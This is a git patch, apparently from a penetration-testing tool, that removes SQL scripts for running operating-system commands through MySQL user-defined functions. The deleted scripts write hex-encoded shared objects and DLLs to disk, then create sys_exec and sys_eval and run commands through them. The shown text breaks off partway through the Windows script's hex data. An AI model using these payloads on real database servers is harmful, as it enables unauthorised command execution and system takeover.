From 2915b5d7e9717c4a32c62566d4fb8113a0b3b0be Mon Sep 17 00:00:00 2001
From: Bernardo Damele
Date: Wed, 13 Jan 2010 23:18:17 +0000
Subject: [PATCH] Partial cleanup of UDF source code path
---
extra/mysqludfsys/command_execution/linux.sql | 120 ----
.../mysqludfsys/command_execution/windows.sql | 128 ----
.../doc/lib_mysqludf_sys.html | 0
.../windows/dll/lib_mysqludf_sys.dll | Bin 6656 -> 0 bytes
.../windows/lib_mysqludf_sys.sql | 35 --
.../windows/src/lib_mysqludf_sys.c | 551 ------------------
.../mysqludfsys/lib_mysqludf_sys_0.0.3.patch | 354 -----------
.../mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz | Bin 12695 -> 0 bytes
.../{lib_mysqludf_sys => }/linux/Makefile | 0
.../{lib_mysqludf_sys => }/linux/install.sh | 0
.../linux/lib_mysqludf_sys.sql | 0
.../linux/so/lib_mysqludf_sys.so | Bin
.../linux/src/lib_mysqludf_sys.c | 0
.../command_execution/linux.sql | 97 ---
.../command_execution/windows.sql | 104 ----
.../windows/dll/8.2/lib_postgresqludf_sys.dll | Bin 6144 -> 0 bytes
.../windows/dll/8.3/lib_postgresqludf_sys.dll | Bin 6144 -> 0 bytes
.../windows/lib_postgresqludf_sys.sql | 24 -
.../windows/src/8.2/lib_postgresqludf_sys.c | 192 ------
.../windows/src/8.3/lib_postgresqludf_sys.c | 192 ------
.../lib_postgresqludf_sys_0.0.1.tar.gz | Bin 11430 -> 0 bytes
.../linux/Makefile | 0
.../linux/install.sh | 0
.../linux/lib_postgresqludf_sys.sql | 0
.../linux/so/8.2/lib_postgresqludf_sys.so | Bin
.../linux/so/8.3/lib_postgresqludf_sys.so | Bin
.../linux/src/8.2/lib_postgresqludf_sys.c | 0
.../linux/src/8.3/lib_postgresqludf_sys.c | 0
28 files changed, 1797 deletions(-)
delete mode 100644 extra/mysqludfsys/command_execution/linux.sql
delete mode 100644 extra/mysqludfsys/command_execution/windows.sql
rename extra/mysqludfsys/{lib_mysqludf_sys => }/doc/lib_mysqludf_sys.html (100%)
delete mode 100755 extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll
delete mode 100644 extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql
delete mode 100644 extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c
delete mode 100644 extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch
delete mode 100644 extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz
rename extra/mysqludfsys/{lib_mysqludf_sys => }/linux/Makefile (100%)
rename extra/mysqludfsys/{lib_mysqludf_sys => }/linux/install.sh (100%)
rename extra/mysqludfsys/{lib_mysqludf_sys => }/linux/lib_mysqludf_sys.sql (100%)
rename extra/mysqludfsys/{lib_mysqludf_sys => }/linux/so/lib_mysqludf_sys.so (100%)
rename extra/mysqludfsys/{lib_mysqludf_sys => }/linux/src/lib_mysqludf_sys.c (100%)
delete mode 100644 extra/postgresqludfsys/command_execution/linux.sql
delete mode 100644 extra/postgresqludfsys/command_execution/windows.sql
delete mode 100755 extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll
delete mode 100755 extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll
delete mode 100644 extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql
delete mode 100755 extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c
delete mode 100644 extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c
delete mode 100644 extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz
rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/Makefile (100%)
rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/install.sh (100%)
rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/lib_postgresqludf_sys.sql (100%)
rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/so/8.2/lib_postgresqludf_sys.so (100%)
rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/so/8.3/lib_postgresqludf_sys.so (100%)
rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/src/8.2/lib_postgresqludf_sys.c (100%)
rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/src/8.3/lib_postgresqludf_sys.c (100%)
diff --git a/extra/mysqludfsys/command_execution/linux.sql b/extra/mysqludfsys/command_execution/linux.sql
deleted file mode 100644
index 593c0706d..000000000
--- a/extra/mysqludfsys/command_execution/linux.sql
+++ /dev/null
@@ -1,120 +0,0 @@
--- Notes:
---
--- The SO compiled using MySQL 5.0.67 C libraries works also on MySQL
--- 5.1.30 and MySQL 4.1.22 (TODO: confirm)
---
--- SO compiled using MySQL 5.1.30 C libraries
--- lib_mysqludf_sys.so: 12896 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped)
--- lib_mysqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped)
---
--- Little hack to compress the shared object:
--- * Compile with -O1 the shared object
--- * Use strip to remove all symbols (-s) and non-global symbols (-x)
-
-
--- Create a table with one field data-type text
-DROP TABLE IF EXISTS udftest;
-CREATE TABLE udftest(data blob);
-
-
--- Insert the hexadecimal encoded UDF in the table
---
--- SO compiled using MySQL 5.1.30 C libraries
-INSERT INTO udftest(data) VALUE (0x7f454c46010101000000000000000000030003000100000010080000340000007c1100000000000034002000050028001900180001000000000000000000000000000000bc0e0000bc0e0000050000000010000001000000040f0000041f0000041f00000801000010010000060000000010000002000000180f0000181f0000181f0000d0000000d0000000060000000400000051e574640000000000000000000000000000000000000000060000000400000052e57464040f0000041f0000041f0000fc000000fc00000004000000010000001100000024000000000000000d00000000000000030000001a00000000000000070000001b0000000a000000140000000f000000150000000c0000000e0000001e000000060000001c000000000000000000000000000000010000000000000000000000020000000400000000000000230000002200000000000000130000001d000000170000000b000000000000000000000005000000090000002100000011000000000000001800000020000000080000001f0000000000000010000000000000001900000000000000160000000000000012000000000000001100000010000000040000000700000001080440801946c99ca40803900460831000000012000000130000001500000016000000180000001b0000001d0000000000);
-UPDATE udftest SET data=CONCAT(data,0x00001e000000000000001f0000002000000021000000220000002300000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed971581ca868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff3b9fd4a0ad73d1c50b5911feab5fbe12000000000000000000000000000000009500000000000000000000001200000001000000000000000000000020000000250000000000000000000000200000009b0000000000000000000000120000007201000000000000000000001200000039010000000000000000000012000000a3000000000000000000000012000000ab00000000000000000000001200000065010000000000000000000012000000480100000000000000000000120000008e000000000000000000000012000000b8000000000000000000000012000000160000000000000000000000220000004f010000000000000000000012000000b1000000000000000000000012000000400100006a0d00008b00000012000b0075000000db0800000500000012000b0010000000980e00000000000012000c00ff0000008d0c00004b00000012000b00df000000ac07000000000000120009008a0100000c200000000000001000f1ff300100004d0d00001d00000012000b009601000014200000000000001000f1ff);
-UPDATE udftest SET data=CONCAT(data,0x56000000d10800000500000012000b00c90000001f0a00007300000012000b006a0100000f0e00004500000012000b0039000000cc0800000500000012000b00f2000000140c00007900000012000b00830100000c200000000000001000f1ff65000000d60800000500000012000b00e5000000050b00000f01000012000b00d7000000920a00007300000012000b0015010000d80c00007500000012000b0056010000f50d00001a00000012000b0085000000e00800003f01000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f63007374726e6370790066676574730070636c6f7365005f5f737461636b5f63686b5f6661696c007379735f6576616c5f696e6974007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379);
-UPDATE udftest SET data=CONCAT(data,0x735f657865630073797374656d007379735f736574006d656d63707900736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3400474c4942435f322e3000474c4942435f322e310000000002000000000003000300030003000300030003000300040005000300020001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000400790100001000000000000000731f6909000005009b010000100000001469690d00000400a7010000100000001069690d00000300b1010000100000001169690d00000200bb010000000000001e09000008000000082000000800000014090000020b0000c50b0000020b00002b090000020100006a090000020400008b09000002070000b109000002080000c3090000020f0000100a0000020c00005f0d0000020600009c0d0000020a0000c10d0000020a0000df0d0000020e0000090e000002090000220e000002050000e81f000006020000ec1f000006030000f01f0000060d0000002000000702000004200000070d00005589e55383ec04e8000000005b81c33c1800008b93f4ffffff85d274);
-UPDATE udftest SET data=CONCAT(data,0x05e81e000000e8bd000000e888060000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff000000005589e55653e8ad00000081c3da17000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8b8ffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c35b17000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35589e557565381ec2c0400008b5d0c8b45148985d8fbffff8b55188995d4fbffff65a1140000008945f031c0c7042401000000e8fcffffff89c6c7442404b40e00008b43088b00890424e8fcffffff8985dcfbffffc785e0fbffff00000000eb548dbdf0fbffffb800000000b9fffffffff2ae89c8f7d08d78ff8b9de0fbffff01fb895c2404893424e8fcffffff89c6897c24088d95f0fbffff895424048b95e0fbffff8d0410890424e8fcffffff899de0fbffff8b85dcfbffff89442408c7442404000400008d95f0fbffff891424e8fcffffff85c075888b);
-UPDATE udftest SET data=CONCAT(data,0x85dcfbffff890424e8fcffffff803e00740485f6750b8b95d4fbffffc60201eb268b85e0fbffffc64406ff0089f7b800000000b9fffffffff2aef7d183e9018b95d8fbffff890a89f08b55f0653315140000007405e8fcffffff81c42c0400005b5e5f5dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e55383ec048b550c8b5d10833a027444c70345787065c7430463746564c7430820657861c7430c63746c79c743102074776fc7431420617267c74318756d656e66c7431c7473c6431e00ba01000000e9b10000008b4204833800744cc70345787065c7430463746564c7430820737472c7430c696e6720c7431074797065c7431420666f72c74318206e616dc7431c65207061c7432072616d65c7432474657200ba010000);
-UPDATE udftest SET data=CONCAT(data,0x00eb5dc74004000000008b520c8b0283c002034204890424e8fcffffff8b550889420cba0000000085c07534c703436f756cc7430464206e6fc743087420616cc7430c6c6f6361c743107465206dc74314656d6f7266c743187900ba0100000089d083c4045b5dc35589e58b450c8b551083380175158b4004833800750d8b4508c60001b800000000eb54c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b8010000005dc35589e58b4510c7006c69625fc740046d797371c740086c756466c7400c5f737973c7401020766572c7401473696f6ec7401820302e3066c7401c2e33c6401e008b5514c7021e0000005dc35589e58b5510b9000000008b450c833800745ec7024e6f2061c742047267756dc74208656e7473c7420c20616c6cc742106f776564c7421420287564c74218663a206cc7421c69625f6dc742207973716cc742247564665fc742287379735fc7422c696e666f66c742302900b90100000089c85dc35589e583ec088b450c8b40088b00890424e8fcffffff89c2c1fa1fc9c35589e583ec18895df48975f8897dfc8b5d0c8b45088b700c8b430c8b108d7c16018b43088b008954240889442404893424e8fcff);
-UPDATE udftest SET data=CONCAT(data,0xffff8b430c8b00c60406008b530c8b43088b48048b420489442408894c2404893c24e8fcffffff8b430c8b4004c6040700c744240801000000897c2404893424e8fcffffff89c2c1fa1f8b5df48b75f88b7dfc89ec5dc35589e583ec088b45088b400c85c07408890424e8fcffffffc9c35589e55783ec048b450c8b40088b00890424e8fcffffff89c285c075088b4518c60001eb1889c7b800000000b9fffffffff2aef7d183e9018b4514890889d083c4045f5dc39090909090909090909090905589e55653e85dfaffff81c38a1100008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c350110000e860f9ffff595bc9c37200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000790100000c000000ac0700000d000000980e000004000000d4000000f5feff6fb001000005000000a404000006000000640200000a000000c50100000b0000001000000003000000f41f000002000000100000001400000011000000170000009c07000011000000040700001200000098000000);
-UPDATE udftest SET data=CONCAT(data,0x13000000080000001600000000000000feffff6fb4060000ffffff6f01000000f0ffff6f6a060000faffff6f0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000181f00000000000000000000f20700000208000008200000004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e74000000000000000000);
-UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000d4000000d4000000dc000000030000000000000004000000040000000b000000f6ffff6f02000000b0010000b0010000b400000003000000000000000400000004000000150000000b00000002000000640200006402000040020000040000000100000004000000100000001d0000000300000002000000a4040000a4040000c50100000000000000000000010000000000000025000000ffffff6f020000006a0600006a060000480000000300000000000000020000000200000032000000feffff6f02000000b4060000b40600005000000004000000010000000400000000000000410000000900000002000000040700000407000098000000030000000000000004000000080000004a00000009000000020000009c0700009c07000010000000030000000a0000000400000008000000530000000100000006000000ac070000ac07000030000000000000000000000004000000000000004e0000000100000006000000dc070000dc0700003000000000000000000000000400000004000000590000000100000006000000100800001008000088060000000000000000000010000000000000005f0000000100000006000000980e0000980e00001c000000);
-UPDATE udftest SET data=CONCAT(data,0x00000000000000000400000000000000650000000100000032000000b40e0000b40e000002000000000000000000000001000000010000006d0000000100000002000000b80e0000b80e00000400000000000000000000000400000000000000770000000100000003000000041f0000040f000008000000000000000000000004000000000000007e00000001000000030000000c1f00000c0f00000800000000000000000000000400000000000000850000000100000003000000141f0000140f000004000000000000000000000004000000000000008a0000000600000003000000181f0000180f0000d000000004000000000000000400000008000000930000000100000003000000e81f0000e80f00000c00000000000000000000000400000004000000980000000100000003000000f41f0000f40f00001400000000000000000000000400000004000000a1000000010000000300000008200000081000000400000000000000000000000400000000000000a700000008000000030000000c2000000c1000000800000000000000000000000400000000000000ac0000000100000000000000000000000c100000b90000000000000000000000010000000000000001000000030000000000000000000000c5100000b500000000000000000000000100000000000000);
-
-
--- Export the hexadecimal encoded UDF to a binary file on the file system
---
--- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0:
---
--- From MySQL 5.1 and 6.0 official documentation:
---
--- shared_library_name is the basename of the shared object file
--- that contains the code that implements the function. The file
--- must be located in the plugin directory. This directory is given
--- by the value of the plugin_dir system variable.
---
--- Note that /TODO/plugin DOES NOT
--- exist by default so it is NOT possible to save the SO in the proper
--- folder where MySQL server looks for SOs.
--- SHOW VARIABLES WHERE variable_name='plugin_dir';
---
--- References:
--- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
--- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html
---
--- The SO can be only in /TODO
--- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 5.1 >= 5.1.19
--- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 6.0
---
--- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19:
---
--- From MySQL 4.1 and 5.0 official documentation:
---
--- shared_library_name is the basename of the shared object file
--- that contains the code that implements the function. As of MySQL
--- M.m.m, the file must be located in the plugin directory. This
--- directory is given by the value of the plugin_dir system variable.
--- If the value of plugin_dir is empty, the behavior that is used
--- before M.m.m applies: The file must be located in a directory
--- that is searched by your system's dynamic linker.
---
--- References:
--- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html
--- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html
---
--- The SO can be in either /lib, /usr/lib or one of the paths specified in
--- /etc/ld.so.conf file, none of these paths are writable by mysql user by
--- default (tested on MySQL 5.0.67 with NO plugin_dir set in my.cnf
--- configuration file, which is the default setting)
--- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
-SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
--- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file
---
--- Notes:
--- If the library file already exists, the user mysql does not have access
--- to overwrite it
--- The following enumerates the MySQL data directory
--- SELECT @@datadir
--- The followings will save into /var/lib/mysql/. It is not a valid PATH
--- where MySQL looks for SO
--- SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.so';
--- The following will save into /var/lib/mysql/mysql where 'mysql' is the
--- database name where it is connected. It is not a valid PATH where MySQL
--- looks for SO
--- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql
--- The following would save into / (Permission denied)
--- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.so';
-
-
--- Create two functions from the binary UDF file
--- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
--- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
-DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
-DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
-CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
-CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
-
-
--- Test the two functions
-SELECT sys_exec('echo test > /tmp/lib_mysqludf_sys.txt'); -- -rw-rw---- 1 mysql mysql
-SELECT sys_eval('cat /tmp/lib_mysqludf_sys.txt ; id');
-
-
--- Cleanup the file system and the database
-SELECT sys_exec('rm -f /tmp/lib_mysqludf_sys.*');
-DROP TABLE IF EXISTS udftest;
--- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0
--- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0
-DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0
-DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0
diff --git a/extra/mysqludfsys/command_execution/windows.sql b/extra/mysqludfsys/command_execution/windows.sql
deleted file mode 100644
index 46fae0048..000000000
--- a/extra/mysqludfsys/command_execution/windows.sql
+++ /dev/null
@@ -1,128 +0,0 @@
--- Notes:
---
--- The DLL compiled using MySQL 5.1.30 C libraries works also on MySQL
--- 5.0.67 and MySQL 4.1.22
---
--- DLL compiled using MySQL 5.1.30 C libraries
--- lib_mysqludf_sys.dll: 9216 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit)
--- lib_mysqludf_sys.dll: 6656 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed)
---
--- Little hack to compress the dynamic-linked library:
--- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html
--- * Remember to compile it under Visual C++ 2008 with the
--- 'Configuration' set as 'Release'
--- * Use upx (http://upx.sourceforge.net) over the DLL:
--- * upx -9 library.dll -o library_upx.dll
-
-
--- Create a table with one field data-type text
-DROP TABLE IF EXISTS udftest;
-CREATE TABLE udftest(data blob);
-
-
--- Insert the hexadecimal encoded UDF in the table
---
--- DLL compiled using MySQL 5.1.30 C libraries
-INSERT INTO udftest(data) VALUE (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000ad137127e9721f74e9721f74e9721f74e00a8c74eb721f74e00a8a74e8721f74e00a9c74e7721f74e00a9b74eb721f742a7d4274ea721f74e9721e74c0721f74e00a9674e8721f74e00a8d74e8721f74e00a8e74e8721f7452696368e9721f7400000000000000000000000000000000504500004c010300ce2e8e490000000000000000e00002210b010900001000000010000000600000507c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020040010000100000100000000010000010000000000000100000007c830000b8010000b4820000c800000000800000b402000000000000000000000000000000000000348500001000000000000000000000000000000000000000000000000000000000000000000000001c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000);
-UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e303300555058210d090209285e83bd2629a7f017550000480c000000240000260000eb);
-UPDATE udftest SET data=CONCAT(data,0xffcbffff8b442408833800741956578b7c2414b90c00be000010e8f3a566a56edd92ff5fb0015ec332c0c3cc2f0c2ab907fbeddbcf26111c8bf8288b4c24182ca45fc7011e16f7cf0eac5e2ecc5f0175128b4004676430f76e750a2c04c6010155710a1db2d8f3113ca4723f8b484df7efbe021152ff15968083c40485c075084514c365dffeff8bc8568d71018a114184d275f98b54142bce890a4019bb6dba7f4c39026b74186d07b0df4b06688b419974158db6ae9d9d88f3fdc7b61100230c5d37f6df85048b108d44110250899859108d893c19a16b1990173c0611b05b4a68935fe70f464085ed767732740a890aff254aa0c31f6fdb42fb53568b745b1d78734602088b46f6eddb2fd18d5c39010a525157e8300c108b5617d6de65fb02c60407974e5104219d1c76fb36c95342d2c4185357220300ad6cae843f005f5e995bc34f9099c309830c20af0b03a8c35dc242dc0081ec10305bd7f85ba102200033c489842c0d8b0620dcdc373f8c2424538b9c241c07556a01db2038360214893d515397f0fcc7de6dd76863cc5033ff14948bd8538d4c24287063edae3251895c421688debe712b6c435355904c8d5001084084c9cb63bf5d2bc22e8d2c3b55563b848bf054dde6842f528d043eb48c24511334db70d8634f528bfd4d20c4b38b5ebf6d4678105d53189c803eb3c67436c6443b04fbee3eff0063eb038d);
-UPDATE udftest SET data=CONCAT(data,0x490068fc6c0d3f777b5f8901205e5bd8e633cc7e0375bceee17481c401c31418f4935f0f0fecad221bc602011e3b0d2275c60cfff602f3c3e90807318bff5668805fb778ffdd7e56c07c5959a3062358045485f67505dbb07be133c040748326004908ff270929098e36d6fde8c70424063b0b5923d2efddbffdff558bec51510a39450c750e39056b107e3cff7337deb51bb37d0cb50910488b096957897c6cdd770a23480f85d47d641718ec797677db6d5135202c893d50bb1e50eb184af0c1febba705f43bc7741768e803a8306a0057aedbdeb02ed63ae7eb07c72c013ca12feddeddf04c6a025e9d096a1f920aa6eb3caa10bcae7deffd04b4c7051f281aa0e027fdfbbeb3075cf120b004ac1b9a59893573a576e32b085939b2f26973dfeebdfb34393d155c741c68062809dc430dd8f65ae1ff751034252316fff1acb919be54ee01dc0801a1db76367b6378d665fc00dfdb0fd4ac3dc944fc83f80266d26dec1b1b595bffa0584b7031fb0e376daf45d70f8487c7195413a5bbb6401e8b141810897d563fb6f5edef043bc87251833f6cf36a74390774e92d3cdbdaff372620f8108907b9f8b8bd599b5615441b474df86bdf1adf900c394d1003d00874b4890902886db76d0c1a0860eba7f60c3d881163564d442e38200bdb5758064c32fc3f5079811d8e4390c9c2e96a1068cd7de37712d8d0d88bd2f28b5d08);
-UPDATE udftest SET data=CONCAT(data,0x1c548597ddede433c95cfc897d2008fc3bf15abfdb5a8c393a4417e4f906ea3bf07405db16defd83fe02752ea152dc3bc1749e565fd03b7066e1865ee4000393113bd983fbf1d2141680120ab22735bb61ebfe642464205750135e436cb60e002f52d2061137ecafd153f76a0375434f34871df66c032168742e2c257febe3ad81851b71ec3409aae050516468854be5ac1065e8f62fb65ddb70fad2feff001907032ae4a4ae3dee070b1dc396ec16ff3bf07885d3246a1b5419de5da07d54550c0d05f8595d38b4a1dc8a22e928035f2120e6e6e6cd43051c891518891d14893569b6efe610893d0c668c1838060d2c666996661d0805042558fbee96002d7ffc9c8f14309556ed9f3fdb240704288d4508348b85e0fca05d3b1b63aa7095011c1920c6d8d6b12413180958c0091cb32c9fbb6b608985d8320a04dc57e01bc3031834687edf8f7d9af1ec596af75010e00a20833dd83bac7d2000f923685b1b7c4f9fc0244928c9c380401ef292223b2e5f6a144a13001531e9b190aaf8a29cc6e107bf7359eb676a08a904598fedd61d921b27355934e0f5f31d6e85bf03e4507f4b7c8cad6d5f506efe1cdc142cd6e2c4582a5b09e01b14f46393e525db08dfdc6c0bfe73130ab9d94e1e43f7d81bc0fa36edde0359485d1656b807c8be0457e946c75f503bc6730f8b0753025083c7b3f21c567afe72f13025d0d0f68dd8);
-UPDATE udftest SET data=CONCAT(data,0x14cc632f08b84d5a287f57bac466b374045262413c03c18138501bfcfb974575ef33d2b90b011c48180f94b0c29a6209895d7f3fd748b65b81df31c80fb74114a20571063357c5c6d20de908180b76de7db5ffffdf8a0c3bf972098b580803d93bfb720a4283c0283bd672e86a1c0ed933d94e4f6afe9d17705c30d00635640cfc5083c3ad31ccec0823316033c56a7c86d277f064a31a892a46096877843e2c49f0d2094c7574559734cb645f2d1350198c083b41b8f05b2d24c1e81ff709e00183bbedd40a034f170059948be5ebd84e6a969701ca3da3c0fab216ec14972fbb3191b111bacc1e540540fcb8a491444ca312aa10dc9d5c87b1095f14c3a45cb4c7acfbef5400d75cb6d9968e6c038d2be0fafcc11a68cef13ca8fc8a039b0403710dc395707018679651481473e2e3ddcdd86903786851d70ab142efe19c56a30e68f885225b7cf892bf4ee640bb25eea0397866760d85c3255aa39f0a358e04eb60ca78116bed935d388b7598920bae0c32b640f007080c9dfed66e672710b4f4330c113bf77507be4fe0b768ef59eb0b85f30a95c1e0100bf0a1f4b147c200f7d607045e5f5bb43f1919191b5005585c60811d1919646ca4000004c84305038700feff50a1172f4e6f20617267756d656e7473ddffffdf096c6c6f77656420287564663a206c69625f6d7973716c0d5f3f32f7b773085f696e666f293918);
-UPDATE udftest SET data=CONCAT(data,0x20766572777fdbfe73696f6e20302e01331f45787065637447657861eddb6f6f076c79201a65207374723f672074791b806d6d6b7572617121722bb065013b7477911f3f1f30f7968672206e4148436f756cdbb6636f246e6f74c463611320186d27a204766e79af660048b5ffffe66e201712c0015253445360a91de01b43b243bdf182720ea1bdf958d103c502633a5c4476476e6efb6edb8a539674b0735c41646d0769bed6fe7f6b938e2e57324b335354454e5550444106336d7bfbf665736b16705c7368c9655c762675be23a1b9ff5f6370705f70726f6af83e6ccb3e65ff5c52656c65617365182e706462c97c2716c8351bc707d0674d259b0ff50707069d92c3bad303e727cc08e3e84ed8810fd81f0a6b037f56a82090209e2b1210008d4516c1beb119bf44ff003400301855ff01162100e9b03c53505c100103c0bf00c7456e7669726f6edbbb2fdb7f5661726961626c6541184743757272145072ecf640fe6f636573734964546805616413d61a001f5469636ba1150dbd01d0fe51756572795003c36d616ef6de5aac37160e184469735937ffcbdf7e4c6962726a7943616c6c73497344656275676765db63ae9572685c96556e684064626f6f6f3164457846707469a146696c4adb52b6c219b4125417c9da0640a0611e11b65bdbbe49906c0c6b409d6d7087656bcd35e747517f77555122b6bb65091b);
